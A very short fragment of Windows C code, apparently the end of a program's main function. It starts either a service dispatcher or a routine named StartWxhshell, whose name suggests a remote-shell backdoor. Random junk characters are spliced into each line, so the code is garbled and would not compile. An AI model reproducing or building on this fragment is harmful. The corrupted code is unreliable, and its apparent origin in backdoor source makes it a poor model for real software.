StartServiceCtrlDispatcher(DispatchTable); aGfp"NtL
else e]CoYuPr
// 普通方式启动 "R=~-, ~
StartWxhshell(lpCmdLine); |,~ )/o_R
z'Z[mrLq
return 0; hg#O_4D
}